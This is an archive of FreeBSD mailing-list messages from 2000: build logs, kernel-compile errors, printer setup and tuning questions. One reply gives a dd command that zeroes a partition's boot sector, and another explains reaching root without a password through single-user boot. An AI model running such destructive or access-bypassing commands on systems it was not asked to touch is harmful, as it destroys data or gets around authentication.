gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/home/kde2/kdelibs-2.0'
gmake: *** [all-recursive-am] Error 2
swliu# exit exit

Script done on Thu Nov  2 08:09:37 2000

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My system is FreeBSD-current (Oct. 31,2000)
I compile kde2support correct. but when i compie kdelibs, it say:



Script started on Thu Nov  2 08:09:30 2000
swliu# gmake gmake  all-recursive
gmake[1]: Entering directory `/home/kde2/kdelibs-2.0'
Making all in dcop
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/dcop'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop'
Making all in dcopidl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/dcopidl'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/dcopidl'
Making all in dcopidl2cpp
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/dcopidl2cpp'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/dcopidl2cpp'
Making all in client
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/dcop/client'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/dcop/client'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/dcop'
Making all in libltdl
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/libltdl'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/libltdl'
Making all in kdecore
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdecore'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdecore/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore/tests'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdecore'
Making all in kdeui
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdeui'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kdeui/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui/tests'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdeui'
Making all in kdesu
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kdesu'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kdesu'
Making all in kssl
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kssl'
Making all in kssl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl'
Making all in caroot
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[5]: Nothing to be done for `all-am'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl/caroot'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kssl/kssl'
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kssl'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kssl'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kssl'
Making all in kio
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kio'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio'
Making all in klauncher
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in .
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in tests
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/klauncher/tests'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher/tests'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/klauncher'
Making all in kded
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/kded'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/kded'
Making all in file
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/file'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/file'
Making all in http
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/http'
Making all in kcookiejar
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/http/kcookiejar'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http/kcookiejar'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/kio/http'
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http'
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/http'
Making all in ftp
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/ftp'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/ftp'
Making all in pics
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/pics'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/pics'
Making all in tests
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/tests'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/tests'
Making all in ksendbugmail
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kio/ksendbugmail'
gmake[3]: Nothing to be done for `all'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kio/ksendbugmail'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kio'
Making all in kimgio
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kimgio'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kimgio'
Making all in kfile
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kfile'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kfile'
Making all in kparts
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kparts'
Making all in .
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/kparts'
gmake[3]: Nothing to be done for `all-am'.
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/kparts'
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kparts'
Making all in kjs
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/kjs'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/kjs'
Making all in libkmid
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/libkmid'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/libkmid'
Making all in ksgmltools
gmake[2]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools'
Making all in customization
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
Making all in dtd
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/dtd'
gmake[4]: Nothing to be done for `all'.
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Making all in da
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Making all in entities
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Making all in entities
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Making all in entities
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Making all in en
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Making all in entities
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Making all in es
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Making all in entities
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Making all in et
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Making all in entities
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Making all in fi
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Making all in entities
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Making all in entities
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Making all in entities
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Making all in it
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Making all in entities
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Making all in entities
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Making all in entities
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gmake[5]: Nothing to be done for `all'.
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Making all in entities
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Making all in entities
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gmake[5]: Nothing to be done for `all-am'.
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Making all in sv
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Making all in entities
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gmake[5]: Nothing to be done for `all'.
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gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/sv'
gmake[5]: Nothing to be done for `all-am'.
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Making all in zh-CN
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Making all in entities
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gmake[5]: Nothing to be done for `all'.
gmake[5]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN/entities'
gmake[5]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization/zh-CN'
gmake[5]: Nothing to be done for `all-am'.
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gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
gmake[4]: Nothing to be done for `all-am'.
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gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools/customization'
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/ksgmltools'
gmake[3]: Nothing to be done for `all-am'.
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gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/ksgmltools'
Making all in arts
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Making all in mcop
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gmake[3]: Nothing to be done for `all'.
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Making all in mcopidl
gmake[3]: Entering directory `/home/kde2/kdelibs-2.0/arts/mcopidl'
gmake[3]: Nothing to be done for `all'.
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Making all in flow
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Making all in mcopclass
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/arts/flow/mcopclass'
gmake[4]: Nothing to be done for `all'.
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow/mcopclass'
gmake[4]: Entering directory `/home/kde2/kdelibs-2.0/arts/flow'
../../arts/mcopidl/mcopidl ../../arts/flow/artsflow.idl
gmake[4]: *** [artsflow.h] Segmentation fault (core dumped)
gmake[4]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow'
gmake[3]: *** [all-recursive] Error 1
gmake[3]: Leaving directory `/home/kde2/kdelibs-2.0/arts/flow'
gmake[2]: *** [all-recursive] Error 1
gmake[2]: Leaving directory `/home/kde2/kdelibs-2.0/arts'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/home/kde2/kdelibs-2.0'
gmake: *** [all-recursive-am] Error 2
swliu# exit exit

Script done on Thu Nov  2 08:09:37 2000

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From: Nick Slager <nicks@albury.net.au>
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Thus spake Paul T. Root (proot@horton.iaces.com):

> 	I CVSupped "tag=RELENG_4" and when I built it this
> morning it was 4.2 Beta. It seems to come up fine. However,
> when I tried to build my custom kernel, it doesn't like the options
> for SMP. Specifically NCPU and NBUS. Are these no longer needed?

These two options have been removed from GENERIC and LINT. It's usually
a good idea to base your new kernel on the new GENERIC/LINT you checked
out as part of your cvsup. So yes, I'd say the two options are no longer
needed.


> 	This machine isn't in production yet. But I'm replacing an 
> old machine with it in a few weeks. So, what tag do I use to go
> back to 4.1-Stable (4.1.1-Stable?). Or do I even want to? I'm guessing
> it basically the same thing, and that we'll be hearing from Jordan 
> any time now? 

You're right; you are still on RELENG_4. Typically as we get close to a
new release the value reported by uname -r will change. After
4.2-RELEASE is unleashed, subsequent CVS updates will put you back
on 4.2-STABLE.

Regards,


Nick

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Hi,

After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
the port, on an NVidia TNT card) I cvsupdated my sources, made world,
recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
So I tried running it with an NVidia TNT2 card. No luck.

At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I downloaded
a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
yet :-/

Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?

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Hello,

Can someone tell me how to erase (or just zero?) the boot sector of a given 
partition. I know about DOS's fdisk /mbr which kills the master boot record. 
What I want to do is erase the boot sector of a given partition - but leave 
the rest of the partition intact.

I'd image dd can help but I don't know what to pass it for the if (input 
file) operand. Perhaps a file with 1024 zeros in it? If this would work do 
you know how best to create a file with 1024 zeros in it? :-)

FYI - I'm currently toying with getting a IBM T20 laptop to run fbsd 4.1.1 
(dual boot with Win2000). I've been through the mail list archives and seen 
the problems that exist. I'd be glad to hear about any *solutions* people 
have for getting this dual boot setup working (with Windows NT/2000). 
Setting the partition to type 131 (extfs2) and fdisk /mbr didn't help.


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From owner-freebsd-questions  Wed Nov  1 16:25:54 2000
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Hello,

> It won't work in bash since it puts the terminal in raw mode.

After I activated it with: "stty kerninfo" it worked here also in bash, both in
xterm and terminal.

Ciao
Siegbert


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From: Nick Slager <nicks@albury.net.au>
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Thus spake Prawit Namutawong (PrawitN@usa.tokyopop.com):

>  My name is prawit namutawong, my job is to set up the freebsd 4.1.1 for my
> company.
> I have a question, can apache1.3.14, php 4.0.3, mysql 3.23.27, qmail 1.0.3,
> and mod_ssl 2.7.1 run on the freebsd 4.1.1?

Yes, all of the above run fine on FreeBSD.


> And what is exactly freebsd, is it like a apache web server?

No, FreeBSD is an operating system.


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From owner-freebsd-questions  Wed Nov  1 16:45: 5 2000
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There are two ways I know of to comment a block of lines in vi.

1) Turn on line numbering with :se nu ; the do:

:7,17s/^/#/

This puts a # at the beginning of lines 7 through 17.

2) Put cursor on line where you want to start the substitution 
do this:

:.,+10s/^/#/

That starts at the line you're on (the .) and for that line and
the next 10 lines (11 total) places a # at the beginning of the line.
This is especially useful in editing a kernel config file.

Annelise


On Wed, 1 Nov 2000 8773836928@skytel.com wrote:

> Hello,
> 
> I have been editing some 
> Perl scripts in vi recently,
> and I find it very annoying
> that Perl cannot comment
> blocks of code, only lines.
> 
> I have been reading the docs in vi, but I can't quite figure out how 
to do a substitute command that will, say, prepend a # to the 
next n lines, and later remove the # ( well, the second one 
I could always use :s and replace the first # with nothing 
for the next n lines. But the first one is still a mystery to me ).
> 
> Any insight would be greatly appreciated.
> 
> Thanks!
> 
> P.S. Please cc: me, as I am not subscribed to the list with this account. Thanks again.
> 
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Hello Nate,

> kde2 for freebsd is full of bugs and unimplemented
> features.  does javascript for work anyone using
> konqueror?

Yes, works here. Just tested with:
http://www.netzwelt.com/selfhtml/tedca.htm

Ciao
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Hi 

I have a error when compile my kernel.

I don't understand the message "implicit declaration of function
`socket' ".
The directive #include <sys/socket.h>  has declaration of function
socket.

I don't know if I can do this because the kernel and userland address
spaces are sort seperate, and I must use copyin/copyout. 

The function _sys_create_socket is called for a
system call "CreateConection()" that I'm makeing, so
 CreateConection() and socket() are system calls,
¿Is this a problem?

Thanks for your help.

cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes 
-Wmissing-pr
ototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions
-ansi  -nostdinc
 -I- -I. -I../.. -I/usr/include  -D_KERNEL -include opt_global.h -elf 
-mpreferred-
stack-boundary=2  ../../kern/rtp/rtp_unix.c
In file included from /usr/include/sysdep.h:39,
                 from ../../kern/rtp/rtp_unix.c:11:
/usr/include/math.h:175: warning: function declaration isn't a prototype
/usr/include/math.h:258: warning: function declaration isn't a prototype
../../kern/rtp/rtp_unix.c: In function `_sys_create_socket':
../../kern/rtp/rtp_unix.c:29: warning: implicit declaration of function
`socket'
../../kern/rtp/rtp_unix.c: In function `_sys_connect_socket':
../../kern/rtp/rtp_unix.c:52: warning: implicit declaration of function
`connect'

The funtion _sys_create_socket in rtp_unix.c file are: 

#include <sys/socket.h>
/* ... */

int  _sys_create_socket ( ){
  /*... */
  int sd ;
  sd = socket(AF_INET, 1, 0 )
  /* ... */
}

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In message <004101c0413c$9b404ea0$6432a8c0@thummy.com> aragorn@thummy.com writes:
: I have a laptop that has two NDC type pcmcia network cards, that I am having
: a heck of a time getting to work together. One installs no problem, but when
: I try to add the other I get a "No free configuration for card NDC" error.
: The NDC card uses the ed driver. I'm running 4.1-STABLE. Thanks for any
: pointers/tips/help, I really need it.

You will need to fix pccardd.  This is not currently supported by pccardd.

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I am in dire need to get a poptop VPN w/ ms-chapv2 encryption running on
my network.I am running FreeBSD 4.1.1. I have have followed all of the steps
on the pptpd site, yet when I
try to compile ppp I get the following error.

weenie# make
Warning: Object directory not changed from original /root/ppp-2.3.11/pppd
cc -O -pipe -g -I../include -DHAVE_PATHS_H -D_BITYPES   -c sys-bsd.c
sys-bsd.c:25: unbalanced `#endif'
*** Error code 1


Is there any patches or workarounds I can try.. I am also having a tough
time getting MPD running....

Thanks for any help...

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I'm having trouble finding out how to make the wterm background color 
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Hello everyone,

I have recently installed FreeBSD4.1, I created a new customized kernel and
I created a new module under "modules"called "label". In the same time I had
to modify two of the kernel files under net and inet
directories(if_ethersubr.c and ip_output.c) to contain a couple of
definitions and some more code.
I am able to compile and link the new customized kernel, but when I try to
load my new module I am getting the following errors:
*********************************************************************
LSR-5# kldload label
kldload: can't load label: Exec format error
LSR-5# Nov  1 16:08:01 LSR-5 /kernel: link_elf: symbol lt_add_ptr undefined
Nov  1 16:08:01 LSR-5 /kernel: link_elf: symbol lt_add_ptr undefined
****************************************************************************
*****
The pointer the linker is complaining about is defined into the ip_output.c
but 
for some reason it doesn't seem to be taken by the linker when I am loading
the module dynamically with the command kldload.

Could you give me some advice on what am I supposed to do to solve this
problem? Is there a way to check if ip_output is applied? Maybe the
dependecies are not created properly.. But then where am I supposed to take
a look to check them?

Note that I have tried these changes on FreeBSD3.3 and I didn't have any
problem at all.

Any suggestion would be greatelly appreciated.

Eugenia.

Eugenia.


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<P><FONT SIZE=3D2 FACE=3D"Arial">I have recently installed FreeBSD4.1, =
I created a new customized kernel and I created a new module under =
&quot;modules&quot;called &quot;label&quot;. In the same time I had to =
modify two of the kernel files under net and inet =
directories(if_ethersubr.c and ip_output.c) to contain a couple of =
definitions and some more code.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I am able to compile and link the new =
customized kernel, but when I try to load my new module I am getting =
the following errors:</FONT></P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">*********************************************************=
************</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">LSR-5# kldload =
label</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">kldload: can't load =
label: Exec format error</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">LSR-5# Nov&nbsp; 1 =
16:08:01 LSR-5 /kernel: link_elf: symbol lt_add_ptr undefined</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Nov&nbsp; 1 =
16:08:01 LSR-5 /kernel: link_elf: symbol lt_add_ptr undefined</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">*********************************************************=
************************</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">The pointer the linker is complaining =
about is defined into the ip_output.c but </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for some reason it doesn't seem to be =
taken by the linker when I am loading the module dynamically with the =
command kldload.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Could you give me some advice on what =
am I supposed to do to solve this problem? Is there a way to check if =
ip_output is applied? Maybe the dependecies are not created properly.. =
But then where am I supposed to take a look to check them?</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Note that I have tried these changes =
on FreeBSD3.3 and I didn't have any problem at all.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Any suggestion would be greatelly =
appreciated.</FONT>
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<P><FONT SIZE=3D2 FACE=3D"Arial">Eugenia.</FONT>
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<P><FONT SIZE=3D2 FACE=3D"Arial">Eugenia.</FONT>
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> Thus spake Prawit Namutawong (PrawitN@usa.tokyopop.com):
>
> >  My name is prawit namutawong, my job is to set up the freebsd 4.1.1 for
my
> > company.
> > I have a question, can apache1.3.14, php 4.0.3, mysql 3.23.27, qmail
1.0.3,
> > and mod_ssl 2.7.1 run on the freebsd 4.1.1?
>
> Yes, all of the above run fine on FreeBSD.
>
>
> > And what is exactly freebsd, is it like a apache web server?
>
> No, FreeBSD is an operating system.

Ok, not dissing anyone here (since we all start somewhere)

But is there a FreeBSD list where somewhat more technical problems are
discussed?

I can only handle "it drops me in to a root shell in single-user mode" and
"does FreeBSD run in windows?" so many times...

I would swear I was on a "freebsd-technical" list a few years ago-
Has this morphed in to the "freebsd-hackers" list?

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In message <39F83B81.270C4040@greyk.kiev.ua> Igor Khavin writes:
: I'm trying to compile new kernel but make depend stops:
: 
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: make: don't know how to make agp_if.c. Stop
: *** Error code 2
: Stop in /usr/src/sys/modules.
: *** Error code 1
: Stop in /usr/src/sys/compile/BSD.

Read UPDATING.  There's a new proceedure for building kernels.

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Hi Aaron,

> Can someone tell me how to erase (or just zero?) the boot sector of a given
> partition. I know about DOS's fdisk /mbr which kills the master boot record.
> What I want to do is erase the boot sector of a given partition - but leave
> the rest of the partition intact.

dd if=/dev/zero of=/dev/adXsY bs=512 count=1

Note: /dev/zero is different from /dev/null !

> FYI - I'm currently toying with getting a IBM T20 laptop to run fbsd 4.1.1
> Setting the partition to type 131 (extfs2) and fdisk /mbr didn't help.

FreeBSD uses ffs, with type 165 (decimal)!

Ciao
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Hi Mike,

> I changed the password to root and now I can't remember it on my BSD box I
> can't access anything except a:
> login:
> Can you please tell me how to get back into root

You have to wait for the ten second countdown. It will ask you to press any key
to interrupt or "enter" to continue. So press any key except return.
At the prompt, which will appear then type "boot -s" and you will enter single
user mode without any password (except you had changed this behaviour
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On Tue, 31 Oct 2000, Tim McMillen wrote:
> Hello,
> 
> 	I'm trying to set up printing from my FreeBSD 4.1.1 Release box.
[snip]

> 	Currently the local address of the printer is 192.168.1.100.  By
> telneting to it I find:
> HP JetDirect
> Please type "?" for HELP, or "/" for current settings
> > /
>    ===JetDirect Telnet Configuration===
>         Firmware Rev.   : G.07.20
>         MAC Address     : 00:10:83:77:c1:17
>         Config By       : DHCP
>  
>         IP Address      : 192.168.1.100
>         Subnet Mask     : 255.255.255.0
>         Default Gateway : 192.168.1.1
>         Syslog Server   : Not Specified
>         Idle Timeout    : 90 Seconds
>         Set Cmnty Name  : Not Specified
>         Host Name       : NPI77C117
> 
> And here's what I tried in the printcap file:
> hplj2100:|text|hewlett packard laserjet 2100m:\
>         :lp=:rm=NPI77C117:rp=hplj2100:sd=/var/spool/output/lpd/hplj2100:
> 
> I know that's not right since:
> %lp -d hplj2100 ./foo
> (no output from printer, but I do see lights on the hub blink)
> 
> but is it in the spool?    Files do appear in the spool directory
> %lpq
> lpq: printer not found
> %lpq hplj2100
> lpq: printer not found
> %lpq text
> lpq: printer not found
> 
> Any help would be greatly appreciated.  I tried reading the termcap and
> printcap man pages but they were confusing too.  I bet this is really
> simple once you understand it but I'm pretty confused by the instructions
> because they mostly seem to apply to a printer attached to host computer.

It's a drill to get through, but it works great.

First, to name a printer use -P (capital p) as in lpr -Ptext and lpq -Ptext.
See man lpr.

I recommend static IPs for printers, but if DHCP is working for you then no need
to change it, and the fact that your printer has an IP address (I assume it is
sane) suggests that DHCP is working.

In printcap, put the name of the printer in the rm field and the queue in the rp
field. Originally rm (remote) was a computer and rp (remote printer) a printer
on the computer connected by a serial cable. Now, things have slid down a spot,
with laser printers acting like remote computers - who would have dreamed of
tcp/ip in a printer? So the queue is sort of fake, there is only "one" in the
printer. Different printers use different syntax. Tektronix uses different
queues to help differential text jobs from postscript. Whatever it is, it is
necessary. You must use the value specified in your printer's documentation.

I set up my printers real dumb. I make an entry in /etc/hosts and /etc/ethers.

Here are some entries from my system. I've fiddled a bit with them to make
things clear (heh). Notice the different values for rp.

from /etc/ethers:
00:10:83:57:33:50 masha
00:60:b0:73:17:34 p2003
00:60:b0:77:a1:f5 godzilla

from /etc/hosts (real IP address disguised):
xxx.yyy.zzz.225 godzilla
xxx.yyy.zzz.224 masha
xxx.yyy.zzz.223 p2003

When these are correct you can ping the printer by it's /etc/hosts name.

And here are the matching /etc/printcap entries:

masha|Tektronix 780-3:\
        :lp=:\
        :mx#0:\
        :rm=masha:\
        :rp=PS:\
        :sf:\
        :lf=/var/log/masha.log:\
        :sd=/var/spool/output/masha:
godzilla|HP DeskJet 755 Color Printer, raw mode:\
        :lp=:\
        :mx#0:\
        :rm=godzilla:\
        :rp=raw:\
        :sf:\
        :lf=/var/log/dj755_raw.log:\
        :sd=/var/spool/output/dj755_raw:
20031slj4si|p2003:\
        :lp=:\
        :mx#0:\
        :rm=p2003:\
        :rp=LPT1_PASSTHRU:\
        :sh:\
        :sf:\
        :lf=/var/log/p2003.log:\
        :sd=/var/spool/output/p2003:


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Hi,

  I have read Richard Stevens's "TCP/IP Illustrated
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to 101 for most BSD server serving HTTP service.

  can it be changed in FreeBSD and get same benifit as
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Greg Lehey wrote:
> 
> On Tuesday, 31 October 2000 at  8:42:25 -0500, Charlie Root wrote:
> > Dear freebsd.org,
> >    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> > ran OpenBSD for a few months. But since I've installed the $49.99
> > CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> > crashes! Is this what you consider to be "rock-solid stability??"
> > Sometimes when I run startx, I get X to work. The other times, my
> > system crashes to a point where I need to do a physical powerdown
> > of my machine, cause even ctrl-alt-del wont work.
> >    I have a pentium 2 300MHz class machine, with an SiS 5598
> > video board. Nobody in the chat rooms knows anything about what I'm
> > talking about. And I am PISSED!!! OpenBSD was working great (even via an
> > ftp install!) But no, FreeBSD wants to be the luser in my box!!
> > What should I do to fix this problem???
> > Please email me with the fix!
> 
> Reinstall OpenBSD.


That's the point here, the sentence "rock solid" is just that, a
sentence!
FreeBSD is stable, but my experience with Open has showed me what a more
controlled project can reach in terms of quality, for instance, openbsd
does not have their developer commiting CURRENT code to the STABLE
branch, and this happens in Free!

My suggestion is like Greg's one, reinstall OpenBSD.


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>  I have read Richard Stevens's "TCP/IP Illustrated
>Volumn 3", and he suggested us to set macro MINCLSIZE
>to 101 for most BSD server serving HTTP service.
>  can it be changed in FreeBSD and get same benifit as
>he said?

	101 meaning MHLEN + 1, right?  on KAME IPv6 merge, we happened to
	do that.

itojun


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Hi there.

I have a number of domains pointing to the bsd box, using an external DNS 
server.

I have put the domains in the sendmail.cw file,

and set the names in the virtusertable.   all is working fine, except that.

If i send a mail from nathan@cleartech.co.uk to anyone external to my BSD 
box, they get the mail fine.  But.. If I send a mail from 
nathan@cleartech.co.uk to someone else on my server, ie in the sendmail.cw 
file, say fred@otherdomain.com.  When the mail arives with fred, then the 
sender of my mail will have turned into nathan@hhost.co.uk and not the 
actual sender of nathan@cleartech.co.uk.

What am I missing, or more to the point what havn't I done??

regards


Nathan



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  MINCLSIZE is set to MHLEN+1 by default.

  If you're running -CURRENT, checkout the mbuf(9) man page ('man 9 mbuf')
  which pretty much explains it.

  You shouldn't be increasing MINCLSIZE.

  You shouldn't really be lowering MINCLSIZE unless you want to promote the
  allocation of clusters. Strictly speaking, you're not likely to observe
  any noticable difference in performance in the general case.

  MINCLSIZE is defined in /sys/sys/mbuf.h and changing it would require a
  kernel rebuild but if you didn't know that, you probably shouldn't be
  changing it. :-)

On Wed, 1 Nov 2000, Yifeng Xu wrote:

> Hi,
> 
>   I have read Richard Stevens's "TCP/IP Illustrated
> Volumn 3", and he suggested us to set macro MINCLSIZE
> to 101 for most BSD server serving HTTP service.
> 
>   can it be changed in FreeBSD and get same benifit as
> he said?
> 
>   Regards,
> XuYifeng

  Later,
  Bosko Milekic
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On Thursday,  2 November 2000 at  0:04:34 +0000, Gustavo Vieira Goncalves Coelho Rios wrote:
> Greg Lehey wrote:
>>
>> On Tuesday, 31 October 2000 at  8:42:25 -0500, Charlie Root wrote:
>>> Dear freebsd.org,
>>>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
>>> ran OpenBSD for a few months. But since I've installed the $49.99
>>> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
>>> crashes! Is this what you consider to be "rock-solid stability??"
>>> Sometimes when I run startx, I get X to work. The other times, my
>>> system crashes to a point where I need to do a physical powerdown
>>> of my machine, cause even ctrl-alt-del wont work.
>>>    I have a pentium 2 300MHz class machine, with an SiS 5598
>>> video board. Nobody in the chat rooms knows anything about what I'm
>>> talking about. And I am PISSED!!! OpenBSD was working great (even via an
>>> ftp install!) But no, FreeBSD wants to be the luser in my box!!
>>> What should I do to fix this problem???
>>> Please email me with the fix!
>>
>> Reinstall OpenBSD.
>
> That's the point here, the sentence "rock solid" is just that, a
> sentence!
> FreeBSD is stable, but my experience with Open has showed me what a more
> controlled project can reach in terms of quality, for instance, openbsd
> does not have their developer commiting CURRENT code to the STABLE
> branch, and this happens in Free!

This sounds like an attempt to wash dirty linen in public.  In the few
occasions where committers have misbehaved in the past, the matter has
always been resolved without any affect to the stability of the
product.  And "Charlie Root" was installing a RELEASE.

> My suggestion is like Greg's one, reinstall OpenBSD.

But apparently for different reasons.  I said it because it would have
been too difficult to help this guy, and if OpenBSD works for him, he
should stick with it.  If another person has the same problem
(whatever it might be), and he knows how to document it, I would
probably help him stay with FreeBSD.  Note that the original problem
appears to be with X, not with the OS, and X is the same across all
three platforms.

Greg
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> >  I have read Richard Stevens's "TCP/IP Illustrated
> >Volumn 3", and he suggested us to set macro MINCLSIZE
> >to 101 for most BSD server serving HTTP service.
> >  can it be changed in FreeBSD and get same benifit as
> >he said?
